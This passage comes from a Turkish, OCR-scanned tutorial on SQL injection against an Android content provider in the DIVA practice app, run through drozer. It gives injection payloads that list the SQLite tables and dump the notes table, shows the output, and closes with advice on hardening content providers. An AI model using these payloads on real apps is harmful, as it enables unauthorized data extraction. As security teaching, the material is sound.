where béliimiinii ifade eder. Orn;

select name, size, format from videos where size > 20

Prejesiien Selection

Hedef mobil uygulamada tespit edilen sqli agigina sahip sorgularin yapildig: adreslere drozer ile tek
tirnak payload’lu sorgu yapalim ve bu sefer manuel olarak sql injection acig1 var mi test edelim.

Ubuntu 18.04 LTS Terminal;

dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/
-- projection """

Cikti:



hefese@TUBITAK-HASANFSIMSEK3: ~

File Edit View Search Terminal Help
dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/no

tes/ --projection
unrecognized token: "' FROM notes ORDER BY title" (code 1): while compiling:
ELECT ' FROM notes ORDER BY title

Yukaridaki drozer komutu ile projection bolgesinde (kolon degeri bolgesinde) tek tirnak var sekilde
sorgu hedef adrese dogru yapilmistir ve kargsilik olarak donen cevap ise sql hatasidir. Normalde
karsilik donen bilginin “kayit yok” gibi bir ifade olmas1 gerekirken sql hatas1 olmasi yaptigimiz
sorgudaki tek tirnak karakterinin string’lesmeden hedef uygulama content provider’indaki sorguda
isleme sokuldugunu ve sql sorgusunda fazladan bir tirnak olmasi dolayisiyla hata iirettigini gosterir.
Eger yapilan sorgulardaki karakterlerde sql sorgular icin 6zel anlam ifade eden karakterler
filtrelenseydi veya string’lestirilseydi sql sorgu hatasi yerine kayit bulunamadi v.b. normal bir
uygulama cevabi gelirdi. Dolayisiyla sql sorgu icin anlam ifade eden anahtar kelimeler girebilir ve
hedef uygulamada ¢alismas1 sonucu content provider iizerinden uygulama veri deposundan genis
olcekte veri cekilebilir. Ornegin; uygulama veri deposundaki tiim tablo isimleri, tiim kolon isimleri,
tiim kolonlarda tutulan degerler,... gibi. Bunun yanisira uygulamay ele gecirmeye doniik daha farkli
saldir tiirleri de uygulanabilir.

Simdi drozer ile sql injection payload’u barindiran bir sorgu yapalim ve payload’da veri
deposudnaki tiim tablo isimlerinin tutuldugu default tabloyu belirterek veri deposundaki tiim tablo
isimlerini 6grenelim.

Ubuntu 18.04 LTS Terminal:

dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/
--projection "* FROM SQLITE_MASTER WHERE type='table'; --"

GCikti:

hefese@TUBITAK-HASANFSIMSEK3: ~
File Edit View Search Terminal Help
dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/ --projection "* FROM SQLITE_MASTER WHERE type='table'; --"
| type | name | tbl_name | rootpage | sql
| table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT)

|
|
| table | notes | notes | 4 | CREATE TABLE notes (_id INTEGER PRIMARY KEY AUTOINCREMENT, title TEXT NOT NULL, note TEXT NOT NULL) |
| table | sqlite_sequence | sqlite sequence | 5 | CREATE TABLE sqlite_sequence(name,seq) |

Goriildiigii tizere yapilan sorgu ile hedef uygulamadaki sorgunun projection bolgesine
* FROM SQLITE_MASTER WHERE type='table’ --

degeri konmustur ve mevcut sorgunun kolonlari sonrasi kalan bélgesi -- ile yorum satir1 olmustur.
Boylece bizim sonunu belirledigimiz bir sorgu yapilmistir ve SQLITE_MASTER tablosundan tiir
kolonu table (yani tablo) olan tiim kayitlar ekrana gelmistir. Yani ekrana veri deposundaki tim
tablolar gelmistir.

Siralanan tablolar icerisinden 6rnegin notes tablosundaki igerigi cekmek icin projection
bolgesindeki payload asagidaki gibi degistirilebilir.



Ubuntu 18.04 LTS Terminal;

dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/
--projection "* FROM notes; --"

Cikti:

hefese@TUBITAK-HASANFSIMSEK3: ~
File Edit View Search Terminal Help

dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/ --projection "* FROM notes; --"
| _id | title note
office | 10 Meetings. 5 Calls. Lunch with CEO
home | Buy toys for baby, Order dinner
holiday | Either Goa or Amsterdam
Expense | Spent too much on home theater
Exercise | Alternate days running

I

I

I

I

I

I
Weekend | b333333333333r

Bu sekilde mevcut sorgunun projection bolgesine yerlesen kendi bitis sorgu climlecigimiz ile hedef
veri deposundan veri toplayabiliriz / cekebiliriz.

[\] Bilgi: Content Provider (Android SQL Bilegeni) Nasil Korunur?

* Android bileseni content provider exported=false ile private tanimlanabilir. Boylece baska
uygulamalar (6rn; drozer) uygulamadaki content provider iizerinde islemler yapamazlar.

* Android bileseni content provider icin bir protectionLevel ile imza olusturalabilir. Boylece
imzas1 olmayan uygulamalar uygulamadaki content provider iizerinde islemler yapamazlar.

* Android bileseni content provider’a elle read ve write izinleri girilebilir.

* Android uygulamadaki sorgularin projection béliimlerinde kolon ismi, boyutu ve formati

testi yapilabilir ve selection boliimlerinde parameterize edilmis bir kullanim yapilabilir.
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